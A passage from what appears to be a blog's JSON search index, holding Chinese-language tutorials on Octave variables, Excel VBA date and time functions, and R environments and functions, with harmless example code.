window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"流程控制\"\u003e流程控制\u003c/h2\u003e\n\u003cp\u003e有時候在處理資料時，我們會希望程式依照某些條件來判斷應該要執行什麼動作，而不是很單純的將指令逐行執行，R 提供了許多流程控制的語法，可藉由指定的條件來判斷程式執行的流程。\u003c/p\u003e","title":"R 流程控制與迴圈"},{"content":"使用變數（Using Variables） 所謂的變數（variables）就是資料命名以便隨後可以存取，在前面的教學中已經看過很多使用變數的範例了。Octave 中的變數名稱可以使用英文字母、數字或下底線組成，而開頭的第一個字元不能是數字，變數名稱的長度並沒有限制，以下這些都是正確的變數名稱：\nx x15 __foo_bar_baz__ fucnrdthsucngtagdjb 在 Octave 中以雙下底線開頭的變數名稱是專門用於 Octave 內部的變數，例如 __foo_bar_baz__，一般使用者在自行撰寫程式時，除非是要更改 Octave 內部的變數設定，否則應該要避免使用這樣的變數名稱，以免影響 Octave 內部的變數。\nOctave 會將大寫與小寫的字母視為不同的變數名稱，例如 var 與 Var 是兩個不同的變數。\n單一個變數名稱就是一個算式，這樣會輸出此變數的值，變數的值可以透過指定運算子（assignment operators）或遞增運算子（increment operators）更改，請參考指定算式。\nOctave 內建的變數 ans 是一個特別的變數，當算式的運算結果沒有被指定到一個變數中儲存時，Octave 就會自動將運算結果儲存至 ans 中，例如：\ncos(pi) 這個算式的運算結果沒有被指定要儲存在哪一個變數，所以 Octave 會儲存在 ans 中，輸出為\nans = -1 若是有明確指定要儲存的變數名稱：\na = cos(pi) 輸出為\na = -1 這樣 Octave 會將運算結果儲存至變數 a，而 ans 的值不會受影響。\nOctave 中的變數沒有限制必須保持一定的類型，也就是說一個變數可以一開始儲存一個數值，隨後將此變數指定為一個字串。變數在使用前一定要先指定變數的值，使用未經指定的變數名稱會造成錯誤。\nans ans 變數會儲存最近一次未指定的儲存變數的運算結果，例如：\n3^2 + 4^2 輸出為\nans = 25 isvarname (name) isvarname(name) 函數會判斷 name 是否為正確的變數名稱，若正確則傳回 true，否則傳回 false。例如：\nisvarname(\u0026#34;test_var\u0026#34;) 輸出為\nans = 1 varname = genvarname (str) varname = genvarname (str, exclusions) genvarname(str) 函數會根據字串 str 產生一個獨特的變數名稱，參數 exclusions 是指定排除的名稱。例如：\nx = 3.141; genvarname (\u0026#34;x\u0026#34;, who ()) 輸出為\nans = x1 若 str 指定為巢狀陣列，則會輸出一個包含獨特變數名稱的巢狀陣列，例如\ngenvarname ({\u0026#34;foo\u0026#34;, \u0026#34;foo\u0026#34;}) 輸出為\nans = { [1,1] = foo [1,2] = foo1 } genvarname() 函數所輸出的結果是字串或字串巢狀陣列，若是需要定義一個變數，可以使用 eval() 函數，例如：\nname = genvarname (\u0026#34;x\u0026#34;); eval([name \u0026#34; = 42\u0026#34;]); 這會將產生的變數指定為 42，輸出為\nx = 42 另外，genvarname() 也可以用在產生資料結構的欄位名稱，例如：\nx = struct (); for i = 1:3 x.(genvarname (\u0026#34;a\u0026#34;, fieldnames (x))) = i; endfor x 輸出為\nx = { a = 1 a1 = 2 a2 = 3 } 由於變數名稱只能包含英文字母、數字或下底線，genvarname() 函數會將不符合的字元以下底線代替，變數開頭若為數字，則會在開頭自動加入一個下底線，例如：\ngenvarname(\u0026#34;123abc\u0026#34;) 輸出為\nans = _123abc 雙下底線開頭的變數雖然是正確的變數名稱，但這樣的變數名稱是專門留給 Octave 內部的變數使用的，因此在一般的情況應該避免使用這類的名稱，genvarname() 函數也不會產生這樣的變數名稱。\ngenvarname() 函數所產生的變數名稱會自動避開 Octave 的關鍵字，例如 for 與 if 等，但不會自動避開函數名稱，例如 sin，因此要避免產生與函數名稱相同的變數名稱，可以使用 exclusions 參數加以指定。\nnamelengthmax () namelengthmax() 函數會傳回與 Matlab 相容的最長變數名稱長度，在 Octave 中最長的變數名稱長度是 2^31-1，而在 Matlab 中若是變數名稱長度沒有那麼長，其最大長度可由此函數獲得，若要與 Matlab 相容，則所有的變數名稱長度都要小於這個值，若變數名稱長度超過這個值，在 Matlab 中會將變數名稱超過的部分自動刪除。\n全域變數（Global Variables） 在宣告變數時可以使用 global 關鍵字將變數宣告為全域變數（Global Variables），例如：\nglobal a global a b global c = 2 global d = 3 e f = 5 被宣告為全域的變數不需要以參數的形式傳入函數中，即可直接在函數中使用。\n使用 global 宣告全域變數時，只能宣告一次，重複宣告不會有作用，例如：\nglobal gvar = 1 global gvar = 2 此時 gvar 的值是 1，不是 2。\n若要在函數中使用全域變數必須在函數中使用 global 宣告變數，例如：\nglobal x function f () x = 1; endfunction f () 這樣執行 f() 函數並不會將全域變數 x 變數指定為 1，要將全域變數 x 指定為 1 必須在函數中使用 global 宣告變數：\nfunction f () global x; x = 1; endfunction 將全域變數以參數的形式傳入函數中時，Octave 會將全域變數複製一份在函數中，不會影響到原來的全域變數，例如定義一個函數 f(x)：\nfunction f (x) x = 0 endfunction 另外再宣告一個全域變數：\nglobal x = 13 將此全域變數傳入 f() 中：\nf (x) 輸出為\nx = 0 但最外層的全域變數 x 的值還是沒有改變，其值還是維持 13。\nisglobal (name) isglobal(name) 函數會判斷變數 name 是否為可見的全域變數。例如：\nglobal x isglobal (\u0026#34;x\u0026#34;) 輸出為\nans = 1 永久變數（Persistent Variables） 在函數中的永久變數（persistent variable）會將其儲存的值持續保持在記憶體中，即使離開函數後，其值依然存在，永久變數與全域變數的差異在於永久變數只存在於其宣告的區域，在其他的區域是不可見的。例如：\nfunction count_calls () persistent calls = 0; printf (\u0026#34;\u0026#39;count_calls\u0026#39; has been called %d times\\n\u0026#34;, ++calls); endfunction 這裡自行定義了一個函數 count_calls()，此函數使用一個永久變數紀錄被呼叫的次數，使用迴圈呼叫此函數三次：\nfor i = 1:3 count_calls (); endfor 輸出為\n'count_calls' has been called 1 times 'count_calls' has been called 2 times 'count_calls' has been called 3 times 永久變數可以使用 persistent 關鍵字宣告，例如：\npersistent a persistent a b persistent c = 2 persistent d = 3 e f = 5 Octave 中的永久變數與 C 語言中的靜態變數（static variable）有相同的作用，Octave 中的關鍵字 static 與 persistent 的作用是一樣的。\n永久變數與全域變數一樣只能宣告一次，重複宣告不會有作用，例如：\npersistent pvar = 1 persistent pvar = 2 此時 pvar 的值是 1，不是 2。\n若永久變數只有被宣告，但沒有指定其值，其預設會是一個空矩陣，因此可以依照其是否為空矩陣來判斷其是否已經被初始化，例如：\nfunction count_calls2 () persistent calls; if (isempty (calls)) calls = ; endif printf (\u0026#34;\u0026#39;count_calls\u0026#39; has been called %d times\\n\u0026#34;, ++calls); endfunction 這個 count_calls2() 函數與上面的 count_call() 函數的功能是一樣的。\n宣告在函數中的永久變數會一直存在記憶體中，直到將整個函數刪除，永久變數的值才會從記憶體中刪除，要將函數刪除可以使用 clear 指令：\nclear -f count_call 這樣會將函數 count_call() 與其中的永久變數從記憶體中刪除。\n變數的狀態（Status of Variables） 在使用 Octave 時常常會需要查看目前存在的變數有哪些，這時候可以使用 who 等相關的指令，這些指令可以顯示目前在記憶體中儲存的變數，例如：\nstr = \u0026#34;A random string\u0026#34;; who 輸出為\nVariables in the current scope: ans str who who pattern ... who option pattern ... C = who(\u0026#34;pattern\u0026#34;, ...) who 指令可以列出目前有定義的變數，參數 pattern 可以指定所要顯示變數，指定方式與 clear 函數所使用的指定方式相同，若不指定則預設會顯示所有的區域變數。參數 option 可以指定為下列選項：\nglobal：顯示全域變數。 -regexp：在 pattern 中使用常規表示法。 -file：將下一個參數視為檔案，顯示此檔案中所列的變數，以檔案指定變數時，必須指定變數的完整名稱，無法使用 pattern 的方式比對。 若以函數的方式呼叫，則會傳回包含變數名稱的巢狀陣列，例如：\nc = who() 輸出為\nc = { [1,1] = ans [2,1] = c [3,1] = str } whos whos pattern ... whos option pattern ... S = whos(\u0026#34;pattern\u0026#34;, ...) whos 指令會輸出目前有定義的變數與其細部資訊。其參數的使用方式與 who 指令相同。whos 指令會顯示變數的下列資訊：\nAttr：變數的屬性（attributes），可能的值有： 空白：一般區域變數。 g：全域變數（global variable）。 p：永久變數（persistent variable）。 Name：變數名稱。 Size：變數的尺寸，例如純量是 1×1，向量是 Nx1 或 1xN，二維的矩陣是 MxN。 Bytes：變數所占的記憶體大小。 Class：變數的類別，例如：雙精度浮點數（double）、單精度浮點數（single）、字元（char）、十六位元無號整數（uint16）、巢狀陣列（cell）與資料結構（struct）等。 以上這些資訊可以使用 whos_line_format() 函數自行設定所要輸出的欄位。\n若以函數的方式呼叫，則會傳回包含上述資訊的資料結構，例如：\ns = whos() 輸出為\ns = { 4x1 struct array containing the fields: name size bytes class global sparse complex nesting persistent } val = whos_line_format () old_val = whos_line_format (new_val) whos_line_format() 函數可用來設定 whos 指令的輸出格式，完整的欄位格式為：\n%[modifier]\u0026lt;command\u0026gt;[:width[:left-min[:balance]]]; command 的部分有下列選項可以使用：\na：變數的屬性（attributes）。 b：變數所占的記憶體大小（bytes）。 c：變數的類別（class）。 e：變數所儲存的元素（elements）。 n：變數的名稱（name）。 s：變數的維度（size）。 t：變數的類型（type）。 modifier 的部分可使用的選項有：\nl：靠左對齊。 r：靠右對齊。 c：置中對齊。 width 是一個正整數，指定輸出欄位時使用的最小寬度。當欄位的內容較長時，欄位的寬度會依照需要自動增加。\nleft-min 與 balance 只有在配合 modifier 輸出變數的維度時才會用到。\n預設的格式是 \u0026quot; %a:4; %ln:6; %cs:16:6:1; %rb:12; %lc:-1;\\n\u0026quot;。\n要檢查一個變數是否存在，除了上述的 who 指令外，也可以使用 exist() 函數。\nexist (name, type) exist(name) 函數會檢查 name 是否存在，若 name 是一個變數，則傳回 1；若為包含絕對路徑的檔案名稱、Octave 路徑中的檔案或函數（副檔名為 .m），則傳回 2；若為 Octave 路徑中的 .oct 或 .mex 檔，則傳回 3；若為內建函數，則傳回 5；若為目錄，則傳回 7；若為使用者輸入的函數，則傳回 103；除此之外則傳回 0。\nexist(name) 函數在 name 為一般檔案時會傳回 2，若是需要獲取更多關於檔案的資訊，可以使用 file_in_path() 與 stat() 函數。\n參數 type 可以指定要檢查的類型，若有指定 type 參數，則在檢查時使會針對指定的類型做檢查，可用的選項有：\n\u0026quot;var\u0026quot;：只檢查變數。 \u0026quot;builtin\u0026quot;：只檢查內建函數。 \u0026quot;file\u0026quot;：只檢查檔案。 \u0026quot;dir\u0026quot;：只檢查目錄。 一般來說 Octave 會自己管理記憶體的配置，但有些時候使用者會需要自行將某些變數從記憶體中刪除，例如在處理大量的資料時，會需要將沒有用到的變數刪除，釋放記憶體給其他變數使用。在 Octave 中要刪除變數可以使用 clear() 函數。\nclear [options] pattern ... clear 指令可以刪除由參數 pattern 所指定的變數，pattern 可以包含下列特殊字元：\n?：比對任意一個字元。 *：比對零個以上的任意字元。 [list]：比對中括號中所列出的字元，若括號中的第一個字元是 ! 或 ^，則會比對這些字元以外的任意字元，例如 [a-zA-Z] 會比對所有大寫與小寫的英文字母。 例如：\nclear foo b*r 將會把 foo 與所有 b 開頭 r 結尾的變數刪除。\n若呼叫 clear 而不加任何參數，則會刪除所有使用者定義的變數（包含全域變數與區域變數）；若加入至少一個參數，則只會刪除比對成功的可見變數，例如我們定義一個函數 foo()，然後再定義一個名稱為 foo 的變數，此時 foo() 函數會被隱藏，這個時候若是執行一次 clear foo，會將變數 foo 刪除，而 foo() 函數變成可見，若再執行一次 clear -f foo 則會將 foo() 函數刪除。\nclear 可用的選項有：\n-all、-a：刪除所有使用者定義的區域變數、全域變數與函數。 -exclusive、-x：刪除所有不符合 pattern 的變數。 -functions、-f：刪除函數。 -global、-g：刪除全域變數。 -variables、-v：刪除區域變數。 -classes、-c：刪除類別資料結構表與所有變數。 -regexp、-r：將 pattern 是為常規表示法來比對。 除了 exclusive 之外，其餘的長選項都可以將開頭的連字號 - 省略。\n關於函數與變數的細部資訊，例如函數所在的檔案位置等，可以經由下面的指令獲得，但這些資訊通常只有在開發程式時才會用到。\ntype options funcname ... type 指令會顯示函數 funcname 的定義，另外也會顯示此函數是使用者定義的（user-definded ）還是內建的（built-in ），若不要顯示可加入參數 -q。\n若有指定輸出參數，則會傳回一個包含函數定義的字串巢狀陣列，例如：\nplotdef = type(\u0026#34;dec2bin\u0026#34;) which 指令可以尋找 name 所在的位置：\nwhich name ... 例如：\nwhich dec2bin 輸出為\n`dec2bin' is a function from the file C:\\Octave\\3.2.4_gcc-4.4.0\\share\\octave\\3.2.4\\m\\strings\\dec2bin.m what 指令會列出目錄中所有的 Octave 檔案：\nwhat what dir w = what (dir) 例如：\nwhat 'C:\\Octave\\3.2.4_gcc-4.4.0\\share\\octave\\3.2.4\\m\\strings' 輸出為\nbase2dec.m isletter.m strjust.m bin2dec.m isstrprop.m strmatch.m blanks.m mat2str.m strncmpi.m cstrcat.m regexptranslate.m strrep.m deblank.m rindex.m strsplit.m dec2base.m str2double.m strtok.m dec2bin.m str2num.m strtrim.m dec2hex.m strcat.m strtrunc.m findstr.m strchr.m substr.m hex2dec.m strcmpi.m validatestring.m index.m 若有指定輸出參數，則會傳回一個資料結構。\n","permalink":"https://blog.gtwang.org/octave/octave-variables/","summary":"\u003ch2 id=\"使用變數using-variables\"\u003e使用變數（Using Variables）\u003c/h2\u003e\n\u003cp\u003e所謂的變數（variables）就是資料命名以便隨後可以存取，在前面的教學中已經看過很多使用變數的範例了。Octave 中的變數名稱可以使用英文字母、數字或下底線組成，而開頭的第一個字元不能是數字，變數名稱的長度並沒有限制，以下這些都是正確的變數名稱：\u003c/p\u003e","title":"Octave 變數（Variables）"},{"content":"這裡介紹 Excel VBA 的時間變數與相關函數的用法，並且提供許多實用的參考範例。\n日期與時間是一種比較特別，但是也時常會被使用到的資料類型，在 VBA 中我們可以使用 Date 這種特殊的變數類型來儲存日期與時間的資料，同時 VBA 中也內建了許多用來處理日期與時間的工具函數，以下是在 VBA 的使用日期與時間相關變數與函數的教學。\n初始化日期與時間 VBA 的 Date 變數是一種專門用來儲存日期與時間的變數，我們可以使用 DateValue 來設定日期：\n\u0026#39; 宣告一個 Date 變數 Dim d As Date \u0026#39; 設定日期 d = DateValue(\u0026#34;Jun 19, 2017\u0026#34;) \u0026#39; 輸出日期 MsgBox (\u0026#34;Date: \u0026#34; \u0026amp; d) DateValue 可接受的日期格式有好多種，以下是一些常見的格式範例：\n\u0026#39; 各種設定日期的方式 d = DateValue(\u0026#34;2017/01/19\u0026#34;) d = DateValue(\u0026#34;2017-01-19\u0026#34;) d = DateValue(\u0026#34;19-JAN\u0026#34;) d = DateValue(\u0026#34;19-JAN-2017\u0026#34;) d = DateValue(\u0026#34;01/19/2017\u0026#34;) 也可以直接用一般的字串直接指定：\nd = \u0026#34;Jun 19, 2017\u0026#34; DateSerial 可以接受數值的年、月、日，建立日期變數：\nDim d As Date d = DateSerial(2016, 5, 10) MsgBox (d) 時間的設定則可使用 TimeValue 與 TimeSerial 函數：\nDim t As Date t = TimeValue(\u0026#34;20:15\u0026#34;) MsgBox (t) t = TimeSerial(20, 15, 20) MsgBox (t) CDate 函數可以初始化日期與時間：\nDim d As Date \u0026#39; 設定日期與時間 d = CDate(\u0026#34;15/08/2013 8:25:00 PM\u0026#34;) MsgBox (d) 或是使用一般的字串也可以：\n\u0026#39; 設定日期與時間 d = \u0026#34;15/08/2013 8:25:00 PM\u0026#34; MsgBox (d) 現在日期與時間 Date 函數可以取得系統上現在的日期，Time 函數會傳回系統目前的時間，而 Now 函數則會傳回系統上目前的日期與時間：\nDim d As Date \u0026#39; 現在日期 d = Date MsgBox (\u0026#34;現在是：\u0026#34; \u0026amp; d) \u0026#39; 現在時間 d = Time() MsgBox (\u0026#34;現在是：\u0026#34; \u0026amp; d) \u0026#39; 現在日期與時間 d = Now() MsgBox (\u0026#34;現在是：\u0026#34; \u0026amp; d) Timer 函數可以傳回從當天 12:00 AM 到目前的秒數，精確度可以到千分之一秒：\nMsgBox (\u0026#34;Timer is: \u0026#34; \u0026amp; Timer()) 判斷是否為日期與時間 IsDate 函數可以判斷輸入的資料是否為合法的日期或時間：\n\u0026#39; True MsgBox (IsDate(\u0026#34;2017/5/21\u0026#34;)) \u0026#39; False MsgBox (IsDate(\u0026#34;123456789\u0026#34;)) 日期與時間的運算 DateAdd 可以計算日期或時間的加法運算，算出某段時間之後的時間點：\nDim d As Date d = \u0026#34;01-Jan-2013\u0026#34; MsgBox (\u0026#34;一年後：\u0026#34; \u0026amp; DateAdd(\u0026#34;yyyy\u0026#34;, 1, d)) MsgBox (\u0026#34;一季後：\u0026#34; \u0026amp; DateAdd(\u0026#34;q\u0026#34;, 1, d)) MsgBox (\u0026#34;一月後：\u0026#34; \u0026amp; DateAdd(\u0026#34;m\u0026#34;, 1, d)) MsgBox (\u0026#34;一天後：\u0026#34; \u0026amp; DateAdd(\u0026#34;d\u0026#34;, 1, d)) MsgBox (\u0026#34;一週後：\u0026#34; \u0026amp; DateAdd(\u0026#34;ww\u0026#34;, 1, d)) d = \u0026#34;01-Jan-2013 12:00:00\u0026#34; MsgBox (\u0026#34;一小時後：\u0026#34; \u0026amp; DateAdd(\u0026#34;h\u0026#34;, 1, d)) MsgBox (\u0026#34;一分鐘後：\u0026#34; \u0026amp; DateAdd(\u0026#34;n\u0026#34;, 1, d)) MsgBox (\u0026#34;一秒鐘後：\u0026#34; \u0026amp; DateAdd(\u0026#34;s\u0026#34;, 1, d)) 以加法配合負數，即可進行日期與時間的減法運算，算出某段時間之前的時間點：\nDim d As Date d = \u0026#34;01-Jan-2013\u0026#34; MsgBox (\u0026#34;一年前：\u0026#34; \u0026amp; DateAdd(\u0026#34;yyyy\u0026#34;, -1, d)) MsgBox (\u0026#34;一季前：\u0026#34; \u0026amp; DateAdd(\u0026#34;q\u0026#34;, -1, d)) MsgBox (\u0026#34;一月前：\u0026#34; \u0026amp; DateAdd(\u0026#34;m\u0026#34;, -1, d)) MsgBox (\u0026#34;一天前：\u0026#34; \u0026amp; DateAdd(\u0026#34;d\u0026#34;, -1, d)) MsgBox (\u0026#34;一週前：\u0026#34; \u0026amp; DateAdd(\u0026#34;ww\u0026#34;, -1, d)) d = \u0026#34;01-Jan-2013 12:00:00\u0026#34; MsgBox (\u0026#34;一小時前：\u0026#34; \u0026amp; DateAdd(\u0026#34;h\u0026#34;, -1, d)) MsgBox (\u0026#34;一分鐘前：\u0026#34; \u0026amp; DateAdd(\u0026#34;n\u0026#34;, -1, d)) MsgBox (\u0026#34;一秒鐘前：\u0026#34; \u0026amp; DateAdd(\u0026#34;s\u0026#34;, -1, d)) 如果要計算兩個時間點之間的時間間隔，可以使用 DateDiff 函數：\nDim d1, d2 As Date d1 = \u0026#34;2017/10/02\u0026#34; d2 = \u0026#34;2018/11/14\u0026#34; MsgBox (\u0026#34;相差年: \u0026#34; \u0026amp; DateDiff(\u0026#34;yyyy\u0026#34;, d1, d2)) MsgBox (\u0026#34;相差季: \u0026#34; \u0026amp; DateDiff(\u0026#34;q\u0026#34;, d1, d2)) MsgBox (\u0026#34;相差月: \u0026#34; \u0026amp; DateDiff(\u0026#34;m\u0026#34;, d1, d2)) MsgBox (\u0026#34;相差日: \u0026#34; \u0026amp; DateDiff(\u0026#34;d\u0026#34;, d1, d2)) MsgBox (\u0026#34;相差週: \u0026#34; \u0026amp; DateDiff(\u0026#34;ww\u0026#34;, d1, d2)) d1 = \u0026#34;01-Jan-09 00:00:00\u0026#34; d2 = \u0026#34;01-Jan-10 23:59:00\u0026#34; MsgBox (\u0026#34;相差小時: \u0026#34; \u0026amp; DateDiff(\u0026#34;h\u0026#34;, d1, d2)) MsgBox (\u0026#34;相差分鐘: \u0026#34; \u0026amp; DateDiff(\u0026#34;n\u0026#34;, d1, d2)) MsgBox (\u0026#34;相差秒鐘 : \u0026#34; \u0026amp; DateDiff(\u0026#34;s\u0026#34;, d1, d2)) 日期與時間的輸出 取出部分日期或時間 我們可以使用 Year、Month、Day 與 Weekday 來判斷日期的年、月、日與星期幾：\nDim d As Date d = Date \u0026#39; 取出年、月、日、星期 MsgBox (\u0026#34;年: \u0026#34; \u0026amp; Year(d)) MsgBox (\u0026#34;月: \u0026#34; \u0026amp; Month(d)) MsgBox (\u0026#34;日: \u0026#34; \u0026amp; Day(d)) MsgBox (\u0026#34;星期: \u0026#34; \u0026amp; Weekday(d)) Weekday 預設會傳回 1 到 7 的整數，分別代表星期日到星期六，如果要取得星期名稱，可再使用 WeekdayName 轉換：\nDim d As Date Dim wdn As String d = Date \u0026#39; 星期名稱 wdn = WeekdayName(Weekday(d)) \u0026#39; 輸出 MsgBox (wdn) 月份名稱也是用類似的方式，使用 MonthName 函數轉換：\nDim d As Date Dim mn As String d = Date \u0026#39; 月份名稱 mn = MonthName(Month(d)) \u0026#39; 輸出 MsgBox (mn) 時間的部分可以使用 Hour、Minute 與 Second，用法也都類似：\nMsgBox (\u0026#34;時：\u0026#34; \u0026amp; Hour(Now)) MsgBox (\u0026#34;分：\u0026#34; \u0026amp; Minute(Now)) MsgBox (\u0026#34;秒：\u0026#34; \u0026amp; Second(Now)) DatePart 是一個可以依照指定的樣板輸出日期各個部份的多功能函數：\nMsgBox (\u0026#34;年：\u0026#34; \u0026amp; DatePart(\u0026#34;yyyy\u0026#34;, Now)) MsgBox (\u0026#34;月：\u0026#34; \u0026amp; DatePart(\u0026#34;m\u0026#34;, Now)) MsgBox (\u0026#34;日：\u0026#34; \u0026amp; DatePart(\u0026#34;d\u0026#34;, Now)) MsgBox (\u0026#34;星期：\u0026#34; \u0026amp; DatePart(\u0026#34;w\u0026#34;, Now)) MsgBox (\u0026#34;週數：\u0026#34; \u0026amp; DatePart(\u0026#34;ww\u0026#34;, Now)) MsgBox (\u0026#34;季：\u0026#34; \u0026amp; DatePart(\u0026#34;q\u0026#34;, Now)) MsgBox (\u0026#34;時：\u0026#34; \u0026amp; DatePart(\u0026#34;h\u0026#34;, Now)) MsgBox (\u0026#34;分：\u0026#34; \u0026amp; DatePart(\u0026#34;n\u0026#34;, Now)) MsgBox (\u0026#34;秒：\u0026#34; \u0026amp; DatePart(\u0026#34;s\u0026#34;, Now)) 輸出格式 FormatDateTime 可依據指定的格式輸出日期與時間，可用的輸出格式如下：\n格式代碼 說明 0 或 vbGeneralDate 完整格式（預設值） 1 或 vbLongDate 完整日期 2 或 vbShortDate 簡短日期 3 或 vbLongTime 完整時間 4 或 vbShortTime 簡短時間 以下是各種使用範例：\nDim d As Date d = (\u0026#34;2013-08-15 20:25\u0026#34;) \u0026#39; 2013/8/15 下午 08:25:00 MsgBox (FormatDateTime(d)) MsgBox (FormatDateTime(d, 0)) MsgBox (FormatDateTime(d, vbGeneralDate)) \u0026#39; 2013年8月15日 MsgBox (FormatDateTime(d, 1)) MsgBox (FormatDateTime(d, vbLongDate)) \u0026#39; 2013/8/15 MsgBox (FormatDateTime(d, 2)) MsgBox (FormatDateTime(d, vbShortDate)) \u0026#39; 下午 08:25:00 MsgBox (FormatDateTime(d, 3)) MsgBox (FormatDateTime(d, vbLongTime)) \u0026#39; 20:25 MsgBox (FormatDateTime(d, 4)) MsgBox (FormatDateTime(d, vbShortTime)) 參考資料 Excel Easy tutorialspoint ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-date-and-time/","summary":"\u003cp\u003e這裡介紹 Excel VBA 的時間變數與相關函數的用法，並且提供許多實用的參考範例。\u003c/p\u003e\n\u003cp\u003e日期與時間是一種比較特別，但是也時常會被使用到的資料類型，在 VBA 中我們可以使用 \u003ccode\u003eDate\u003c/code\u003e 這種特殊的變數類型來儲存日期與時間的資料，同時 VBA 中也內建了許多用來處理日期與時間的工具函數，以下是在 VBA 的使用日期與時間相關變數與函數的教學。\u003c/p\u003e","title":"Excel VBA：時間（Date 與 Time）"},{"content":"這裡我們將詳細介紹 R 函數與 R 環境空間的使用方式。\n環境空間 在 R 中所有的變數都是儲存在特定的環境空間（environments）中，而環境空間本身其實也是一種變數，可以當成一般變數使用（例如指定新的值、或是當成參數傳遞至函數中），它的性質跟列表（list）比較相近，甚至可以直接將列表變數轉換為環境空間變數，反之亦可。\n通常我們在使用 R 的時候，不太需要去理會環境空間的問題，當我們在 R 的命令列建立一個變數時，R 會自動將該變數儲存在全域環境空間（global environment，這個空間也稱為 user workspace）中，另外當我們呼叫一個函數時，R 也會自動建立一個隸屬於該函數的環境空間來儲存與該函數相關的變數，理解變數以及環境空間的運作，可以幫助程式設計師更清楚 R 變數命名空間規則，以及程式除錯時的呼叫堆疊問題（call stack）。\n若要建立一個新的 R 環境空間，可以呼叫 new.env：\nmy.new.env \u0026lt;- new.env() 環境空間的操作方式跟列表變數相同，我們可以使用雙中括號或是錢字號的方式來在此環境空間中建立新的變數：\nmy.new.env[[\u0026#34;name\u0026#34;]] \u0026lt;- \u0026#34;G.T.Wang\u0026#34; my.new.env$foo \u0026lt;- c(1, 3, 5) 用來指定變數值的 assign 函數也可以使用 envir 參數來指定變數的環境空間：\nassign( \u0026#34;bar\u0026#34;, c(TRUE, FALSE, NA), my.new.env ) 要取出特定環境空間中的變數，也是跟列表的操作類似：\nmy.new.env[[\u0026#34;name\u0026#34;]] [1] \"G.T.Wang\" my.new.env$foo [1] 1 3 5 除此之外，也可以使用 get 函數：\nget(\u0026#34;bar\u0026#34;, my.new.env) [1] TRUE FALSE NA ls 與 ls.str 函數也有提供使用者指定環境空間的功能：\nls(envir = my.new.env) [1] \"bar\" \"foo\" \"name\" ls.str(envir = my.new.env) bar : logi [1:3] TRUE FALSE NA foo : num [1:3] 1 3 5 name : chr \"G.T.Wang\" 若要檢查特定的變數是否存在，可以使用 exists 函數：\nexists(\u0026#34;foo\u0026#34;, my.new.env) [1] TRUE 環境空間與列表之間若要互相轉換，可以使用 as.list 與 as.environment 函數來處理：\nmy.list \u0026lt;- as.list(my.new.env) my.list $name [1] \"G.T.Wang\" $foo [1] 1 3 5 $bar [1] TRUE FALSE NA as.environment(my.list) \u0026lt;environment: 0x7fe9f2dd6a38\u0026gt; list2env 也可以將列表轉為環境空間：\nlist2env(my.list) \u0026lt;environment: 0x7fe9f2dd6a38\u0026gt; 在 R 中所有的環境空間都有繼承的關係，也就是說除了最頂層的空環境空間（empty environment）之外，任何一個環境空間都會有一個母環境空間（parent environment），在預設的狀況下，exists 與 get 函數除了檢查目前的環境空間之外，也會一併檢查所有的母環境空間，如果要讓它只檢查目前的環境空間，可以加入 inherits = FALSE 參數：\nchild.env \u0026lt;- new.env(parent = my.new.env) exists(\u0026#34;name\u0026#34;, child.env) [1] TRUE exists(\u0026#34;name\u0026#34;, child.env, inherits = FALSE) [1] FALSE 我們在 R 命令列中所建立的任何變數預設都會被儲存於 global 這個環境空間中，若要取得 global 環境空間可以使用 globalenv 這個函數：\nglobalenv() \u0026lt;environment: R_GlobalEnv\u0026gt; 或是直接取用 .GlobalEnv 這個變數也可以：\n.GlobalEnv \u0026lt;environment: R_GlobalEnv\u0026gt; 另外一個比較特別的環境空間是 base，他是 R 中最基本的一個環境空間，我們可以使用 baseenv 來取得之：\nbaseenv() \u0026lt;environment: base\u0026gt; 其中儲存了很多 R 的基礎函數與運算子：\nhead(ls(envir = baseenv()), 20) [1] \"-\" \"-.Date\" \"-.POSIXt\" [4] \":\" \"::\" \":::\" [7] \"!\" \"!.hexmode\" \"!.octmode\" [10] \"!=\" \"(\" \"[\" [13] \"[.AsIs\" \"[.data.frame\" \"[.Date\" [16] \"[.difftime\" \"[.Dlist\" \"[.factor\" [19] \"[.hexmode\" \"[.listof\" parent.env 這個函數可以用來取得指定環境空間的母環境空間：\nparent.env(globalenv()) \u0026lt;environment: 0x7fa52d118720\u0026gt; attr(,\"name\") [1] \"tools:RGUI\" 在 R 中會遇到環境空間的狀況主要有兩種，一種是呼叫函數時，每個函數會有自己專屬的環境空間（也稱為 closure），而另外一種則是載入各種 R 套件時，套件內的函數都會放在套件自己的環境空間中，透過搜尋路徑的方式來讓使用者取得套件內的各種函數，這些狀況會在之後的教學中詳細說明。\n函數 R 的函數也是一種特別的變數，它除了可以接受輸入的變數、並在執行一些運算之後傳回結果之外，也可以當成一般的變數使用，例如指定新的函數內容，或是當成別的函數的輸入參數等，以下介紹函數的使用方式。\n建立與呼叫函數 在建立函數之前，我們先來看一下函數的內容。直接輸入函數的名稱，即可顯示函數的內容：\nrt function (n, df, ncp) { if (missing(ncp)) .Call(C_rt, n, df) else rnorm(n, ncp)/sqrt(rchisq(n, df)/df) } \u0026lt;bytecode: 0x27f97f0\u0026gt; \u0026lt;environment: namespace:stats\u0026gt; 上面這些輸出就是 rt 函數（用來產生 t 分佈隨機變數的函數）的內容，function 關鍵字之後用小括號包起來的就是此函數的參數，從中可以看出 rt 這個函數的輸入參數有三個，分別是 n、df 與 ncp。\n一般在呼叫函數時所傳入的值稱為該函數的參數（arguments），而這裡在函數內容中 function 內的參數名稱則稱為正式參數（formal arguments），這兩者的區別在一般的情況下並不是很重要，所以在以下的教學內容中，我們不會特別去區分這兩種參數。\n在參數之後，以大括號包起來的部分就是函數的主體（body），也就是每次該函數被呼叫時會執行的程式碼。\n在 R 的函數中若要將計算的結果傳回，可以使用 return 這個關鍵字再加上要傳回的資料，除此之外，若沒有明確呼叫 return 指定傳回值的時候，R 會把此函數中最後一個運算式的結果當作傳回值。以這個 rt 函數來說，如果沒有指定 ncp 參數，R 就會執行 .Call 並以其執行結果作為傳回值，反之若 ncp 餐數有被指定，則會執行 rnorm 那一行運算，並將其運算結果作為傳回值。\n若要建立一個自訂的函數，就只要將函數的整個內容指定給一個變數即可：\nhypotenuse \u0026lt;- function(x, y) { sqrt(x ^ 2 + y ^ 2) } 這裡我們建立了一個 hypotenuses 函數，而其包含兩個正式參數，分別是 x 與 y，在大括號中的程式碼就是函數的主體。\n如果是像這樣只有一行程式碼的 R 